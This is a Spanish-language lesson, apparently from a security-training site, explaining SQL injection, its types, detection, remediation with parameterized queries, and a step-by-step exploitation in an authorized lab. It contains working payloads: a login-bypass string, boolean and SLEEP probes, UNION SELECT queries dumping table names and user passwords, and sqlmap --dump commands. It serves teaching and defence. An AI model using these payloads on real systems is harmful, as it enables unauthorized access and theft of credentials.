SQL Injection: qué es, cómo se explota y cómo se corrige
· 13 min de lectura
Aprende qué es una inyección SQL, por qué ocurre, cómo se detecta y se explota paso a paso en un laboratorio autorizado, y cómo se corrige de verdad con consultas parametrizadas.
La inyección SQL es una de las vulnerabilidades más antiguas de la web y, aun así, sigue apareciendo cada año en auditorías, programas de bug bounty y filtraciones masivas. La razón es sencilla: basta una sola consulta mal construida para que un atacante lea, modifique o borre la base de datos completa de una aplicación.
En esta lección vas a entender qué es exactamente, por qué ocurre, cómo se detecta, cómo se explota paso a paso en un laboratorio autorizado y, lo más importante, cómo se corrige de verdad.
Todo lo que verás aquí debe practicarse solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Probar estas técnicas contra sistemas ajenos sin permiso es un delito.
Qué es una inyección SQL#
Casi todas las aplicaciones guardan sus datos en una base de datos relacional (MySQL, PostgreSQL, SQL Server, Oracle, SQLite) y le hablan en un lenguaje llamado SQL. Cuando inicias sesión, buscas un producto o abres tu perfil, la aplicación construye una consulta SQL con los datos que tú enviaste.

Una inyección SQL (SQLi) ocurre cuando la aplicación mete lo que escribe el usuario directamente dentro del texto de la consulta, sin separar los datos del código. Si el usuario escribe caracteres con significado especial en SQL, como una comilla, puede cambiar la lógica de la consulta y hacer que la base de datos ejecute instrucciones que el programador nunca escribió.
Dicho de otra forma: la aplicación esperaba un dato y el atacante le entregó código.
Por qué ocurre: la causa raíz#
Imagina un login escrito así en PHP:
$usuario = $_POST['usuario'];
$clave = $_POST['clave'];
$sql = "SELECT * FROM usuarios WHERE usuario = '$usuario' AND clave = '$clave'";
$resultado = $db->query($sql);
Con datos normales, la consulta que llega a la base de datos es:
SELECT * FROM usuarios WHERE usuario = 'ana' AND clave = 'Verano2026'
Pero si en el campo usuario alguien escribe admin' -- - (con una comilla y dos guiones), la consulta queda así:
SELECT * FROM usuarios WHERE usuario = 'admin' -- -' AND clave = 'loquesea'
La comilla cierra el texto antes de tiempo y los dos guiones -- convierten en comentario todo lo que sigue, incluida la comprobación de la contraseña. La base de datos devuelve el usuario admin y la aplicación deja entrar sin clave.
El problema no es la comilla. El problema es construir la consulta pegando textos: mientras los datos del usuario y el código SQL viajen mezclados en la misma cadena, siempre habrá una forma de romperla.
Tipos de inyección SQL#

No todas las inyecciones muestran los datos en pantalla. Según cómo obtiene la información el atacante, se clasifican así:
| Tipo | Cómo obtiene los datos el atacante | Dificultad |
|---|---|---|
| En banda: basada en errores | Los mensajes de error de la base de datos revelan información | Baja |
| En banda: basada en UNION | Une su propia consulta a la original y ve el resultado en la página | Baja a media |
| A ciegas: booleana | La página cambia (o no) según si una condición es verdadera o falsa | Media |
| A ciegas: por tiempo | Provoca pausas en la respuesta según si una condición es verdadera | Media a alta |
| Fuera de banda | Hace que la base de datos envíe los datos a un servidor externo (DNS o HTTP) | Alta |
| De segundo orden | El dato malicioso se guarda primero y se ejecuta después, en otra consulta | Alta |
En banda: errores y UNION#
Es el caso más directo: el resultado aparece en la misma respuesta. Con errores, la aplicación muestra mensajes como You have an error in your SQL syntax... que filtran el nombre de tablas, columnas o la versión del motor. Con UNION, el atacante añade UNION SELECT ... para que la página muestre, junto a los datos normales, los que él elija.
A ciegas: booleana y por tiempo#
Muchas aplicaciones no muestran errores ni resultados, pero siguen siendo vulnerables. En la variante booleana, el atacante pregunta cosas de sí o no («¿la primera letra de la contraseña del admin es una a?») y deduce la respuesta según cambie la página. En la variante por tiempo, si no hay ninguna diferencia visible, provoca una pausa (por ejemplo SLEEP(5) en MySQL) solo cuando la condición es cierta y mide cuánto tarda la respuesta. Es lento, pero se automatiza y funciona.
Fuera de banda#
Cuando ni siquiera el tiempo es fiable, algunos motores permiten forzar una conexión de red hacia un servidor que controla el atacante, llevando los datos dentro de una consulta DNS o una petición HTTP. Depende mucho del motor y de su configuración, por eso es menos común.
De segundo orden#
El dato malicioso se guarda sin problema (por ejemplo, como nombre de usuario) y la inyección ocurre más tarde, cuando otra parte de la aplicación reutiliza ese valor dentro de una consulta construida a mano. Es difícil de encontrar porque el punto donde se escribe el dato y el punto donde explota están en lugares distintos.
Dónde aparece#
Cualquier dato que llegue del exterior y acabe en una consulta es un posible punto de inyección, no solo los formularios:
- Parámetros de la URL:
producto.php?id=15, filtros, paginación, búsquedas. - Formularios: login, registro, búsqueda, contacto, recuperación de contraseña.
- Cookies: identificadores de sesión, preferencias o carritos que se consultan en la base de datos.
- Cabeceras HTTP:
User-Agent,RefereroX-Forwarded-Forcuando la aplicación los guarda en registros. - Cuerpos JSON y XML de APIs y aplicaciones móviles.
- Ordenación y columnas: parámetros como
?orden=precioque acaban enORDER BY. Son especialmente peligrosos porque ahí no se pueden usar parámetros y muchos programadores los concatenan.
Cómo se detecta#
Pruebas manuales#
La detección consiste en enviar entradas que rompan la sintaxis o cambien la lógica, y observar si la aplicación se comporta distinto. Estas son las pruebas clásicas, siempre en un entorno autorizado:
| Prueba | Qué buscas |
|---|---|
Añadir una comilla simple ' | Un error de SQL o un cambio en la página |
Añadir dos comillas '' | Que la página vuelva a la normalidad (la comilla quedó escapada dentro del texto) |
' AND '1'='1 frente a ' AND '1'='2 | Respuesta normal con la primera y distinta con la segunda: hay inyección booleana |
En un número: 15 frente a 16-1 | Si ambas muestran lo mismo, la aplicación está calculando lo que escribes |
' AND SLEEP(5) -- - (MySQL) | Si la respuesta tarda cinco segundos más, hay inyección por tiempo |
' ORDER BY 1 -- -, luego 2, 3... | El número en el que falla indica cuántas columnas devuelve la consulta |
Una sola prueba no basta: lo que confirma la vulnerabilidad es una diferencia consistente entre una condición verdadera y una falsa.
Herramientas#
- Burp Suite (proxy): para interceptar peticiones, modificar parámetros y repetir pruebas con comodidad.
- sqlmap: automatiza la detección y la extracción. Es muy potente y muy ruidoso, así que se usa solo con autorización y, idealmente, después de haber entendido la inyección a mano.
- Revisión de código: buscar consultas construidas con concatenación (
"... WHERE id = " . $id,f"... {id}",+ id +) es la forma más rápida de encontrarlas en un proyecto propio.
Explotación paso a paso en un laboratorio#
Vamos a recorrer una inyección basada en UNION contra una página de ficha de producto en un laboratorio autorizado. La URL vulnerable es /producto.php?id=3 y por dentro ejecuta algo como:
SELECT nombre, precio, descripcion FROM productos WHERE id = 3
Paso 1: confirmar la inyección#
Primero comparamos una condición verdadera y una falsa:
/producto.php?id=3 AND 1=1 → muestra el producto
/producto.php?id=3 AND 1=2 → no muestra nada
La página responde distinto según la lógica que escribimos: el parámetro se está ejecutando como SQL.
Paso 2: contar las columnas#
Para unir nuestra consulta con UNION, necesitamos devolver el mismo número de columnas que la original. Lo averiguamos con ORDER BY:
/producto.php?id=3 ORDER BY 1 → funciona
/producto.php?id=3 ORDER BY 3 → funciona
/producto.php?id=3 ORDER BY 4 → error
La consulta devuelve 3 columnas.
Paso 3: encontrar qué columnas se ven en la página#
Usamos un id que no exista para que solo aparezca nuestro resultado, y marcamos cada columna:
/producto.php?id=-1 UNION SELECT 'a','b','c'
Si en pantalla aparecen a y c, ya sabemos dónde se mostrarán los datos que extraigamos.
Paso 4: reconocer el motor y la base de datos#
/producto.php?id=-1 UNION SELECT version(), database(), user()
Ahora sabemos la versión de MySQL, el nombre de la base de datos y con qué usuario se conecta la aplicación.
Paso 5: listar tablas y columnas#
En MySQL y PostgreSQL, el catálogo information_schema describe toda la base de datos:
-- Tablas de la base de datos actual
-1 UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema = database()
-- Columnas de la tabla usuarios
-1 UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name = 'usuarios'
Paso 6: extraer los datos#
-1 UNION SELECT usuario, clave, NULL FROM usuarios
En este punto aparecen los usuarios y sus contraseñas (o sus hashes) en la propia ficha del producto. En un laboratorio, normalmente toca crackear esos hashes o reutilizar credenciales para seguir avanzando.
La versión automatizada con sqlmap#
Una vez entendido el proceso, sqlmap hace lo mismo en segundos. En un laboratorio autorizado:
# Detectar la inyección y listar las bases de datos
sqlmap -u "http://IP_DEL_LAB/producto.php?id=3" --batch --dbs
# Listar las tablas de una base de datos
sqlmap -u "http://IP_DEL_LAB/producto.php?id=3" --batch -D tienda --tables
# Extraer una tabla concreta
sqlmap -u "http://IP_DEL_LAB/producto.php?id=3" --batch -D tienda -T usuarios --dump
Usa sqlmap como acelerador, no como sustituto. Si no sabes por qué funciona una inyección, no sabrás qué hacer cuando la herramienta falle por un filtro, un WAF o una sintaxis distinta.
Qué puede lograr un atacante#
El impacto depende de los privilegios con los que la aplicación se conecta a la base de datos y del motor:
| Impacto | Ejemplo real |
|---|---|
| Saltarse la autenticación | Entrar como administrador sin conocer la contraseña |
| Robo de datos | Volcar usuarios, correos, hashes de contraseñas, datos personales o de pago |
| Modificar o borrar información | Cambiar precios, saldos o roles; eliminar tablas |
| Leer archivos del servidor | Con permisos suficientes, funciones como LOAD_FILE() en MySQL |
| Ejecutar comandos en el sistema | En configuraciones inseguras, escribir una webshell o usar funciones del motor que ejecutan comandos |
| Moverse a otros sistemas | Reutilizar las credenciales obtenidas en otros servicios de la red |
Cómo se corrige#

La única solución real es no mezclar nunca datos y código. Todo lo demás son capas de apoyo.
Consultas parametrizadas (prepared statements)#
La consulta se envía a la base de datos con huecos (? o :nombre) y los datos viajan por separado. El motor sabe que lo que llega en el hueco es un valor, nunca código, así que una comilla es solo una comilla.
PHP con PDO, vulnerable y corregido:
// Vulnerable: concatenación
$sql = "SELECT * FROM usuarios WHERE usuario = '$usuario'";
$db->query($sql);
// Seguro: consulta parametrizada
$stmt = $db->prepare("SELECT * FROM usuarios WHERE usuario = :usuario");
$stmt->execute(['usuario' => $usuario]);
Python:
# Vulnerable
cursor.execute(f"SELECT * FROM usuarios WHERE usuario = '{usuario}'")
# Seguro
cursor.execute("SELECT * FROM usuarios WHERE usuario = %s", (usuario,))
Node.js:
// Vulnerable
db.query("SELECT * FROM usuarios WHERE usuario = '" + usuario + "'");
// Seguro
db.query("SELECT * FROM usuarios WHERE usuario = ?", [usuario]);
Lista de valores permitidos para lo que no se puede parametrizar#
Los nombres de columnas, tablas y la dirección de ORDER BY no admiten parámetros. Ahí la defensa es una lista blanca: comparar lo que llega con los valores aceptados y usar solo esos.
$columnas = ['precio' => 'precio', 'nombre' => 'nombre', 'fecha' => 'creado_en'];
$orden = $columnas[$_GET['orden'] ?? ''] ?? 'nombre';
$direccion = (($_GET['dir'] ?? '') === 'desc') ? 'DESC' : 'ASC';
$sql = "SELECT nombre, precio FROM productos ORDER BY $orden $direccion";
El usuario elige entre opciones, pero nunca escribe SQL.
Mínimo privilegio en la base de datos#
La cuenta que usa la aplicación debe tener solo los permisos que necesita: nada de root, nada de permisos para leer archivos, crear funciones o administrar otras bases de datos. Si algún día aparece una inyección, el daño queda limitado.
No mostrar errores al usuario#
Los mensajes de error detallados facilitan muchísimo la explotación. En producción, registra el error en el servidor y muestra un mensaje genérico.
Capas adicionales#
Un WAF (firewall de aplicaciones web) puede frenar ataques automatizados y ganar tiempo, y la validación de entradas (por ejemplo, exigir que un id sea un número) reduce la superficie. Pero ninguna de las dos corrige la vulnerabilidad: los filtros se evaden y la validación se olvida en algún campo. La corrección es parametrizar.
Errores comunes al defenderse#
- Escapar comillas a mano. Funciones como
addslashes()fallan con ciertas codificaciones y con valores numéricos, donde ni siquiera hay comillas. - Listas negras de palabras. Bloquear
UNIONoSELECTse evade con mayúsculas mezcladas, comentarios o codificaciones. Siempre hay una variante que no estaba en la lista. - Confiar ciegamente en el ORM. Los ORM parametrizan por defecto, pero casi todos permiten consultas en crudo; si ahí se concatena, la inyección vuelve.
- Procedimientos almacenados con SQL dinámico. Un procedimiento almacenado que construye una consulta concatenando sus parámetros es igual de vulnerable.
- Proteger solo los formularios. Cookies, cabeceras, parámetros de ordenación y APIs internas también llegan a las consultas.
- Pensar que «nadie lo va a encontrar». Los escáneres automáticos recorren internet todo el tiempo buscando justo esto.
Preguntas frecuentes#
¿La inyección SQL sigue existiendo hoy?#
Sí. Los frameworks modernos la hacen menos frecuente porque parametrizan por defecto, pero sigue apareciendo en código antiguo, en consultas escritas a mano, en parámetros de ordenación y en APIs internas. La inyección forma parte del OWASP Top 10 desde su primera edición.
¿Usar un ORM me protege por completo?#
Te protege mientras uses sus métodos normales. En cuanto escribes una consulta en crudo concatenando datos, la protección desaparece.
¿Un WAF es suficiente?#
No. Un WAF dificulta los ataques automatizados, pero se puede evadir. Es una capa extra, no la corrección.
¿Qué diferencia hay entre una inyección a ciegas y una en banda?#
En la de banda ves los datos (o los errores) en la propia respuesta. En la de a ciegas no ves nada y tienes que deducir la información haciendo preguntas de sí o no, o midiendo tiempos de respuesta.
¿Es legal practicar con sqlmap?#
Solo en sistemas propios o en los que tengas autorización por escrito, como los laboratorios de whoami-labs o un programa de bug bounty que lo permita. Usarlo contra una web ajena sin permiso es un delito.
¿Las bases de datos NoSQL son inmunes?#
No. MongoDB y otros motores NoSQL tienen sus propias inyecciones (por ejemplo, operadores como $ne o $gt metidos en un JSON). El principio es el mismo: no mezclar datos del usuario con la lógica de la consulta.
Resumen#
- Una inyección SQL ocurre cuando la aplicación mezcla los datos del usuario con el código de la consulta.
- Se detecta comparando respuestas entre condiciones verdaderas y falsas, errores y tiempos de respuesta.
- Puede ser visible (errores, UNION) o a ciegas (booleana, por tiempo), y su impacto va desde saltarse un login hasta tomar el servidor.
- Se corrige con consultas parametrizadas, listas blancas para lo que no se puede parametrizar, mínimo privilegio y errores genéricos.
- WAF, validación y escapes ayudan, pero no son la corrección.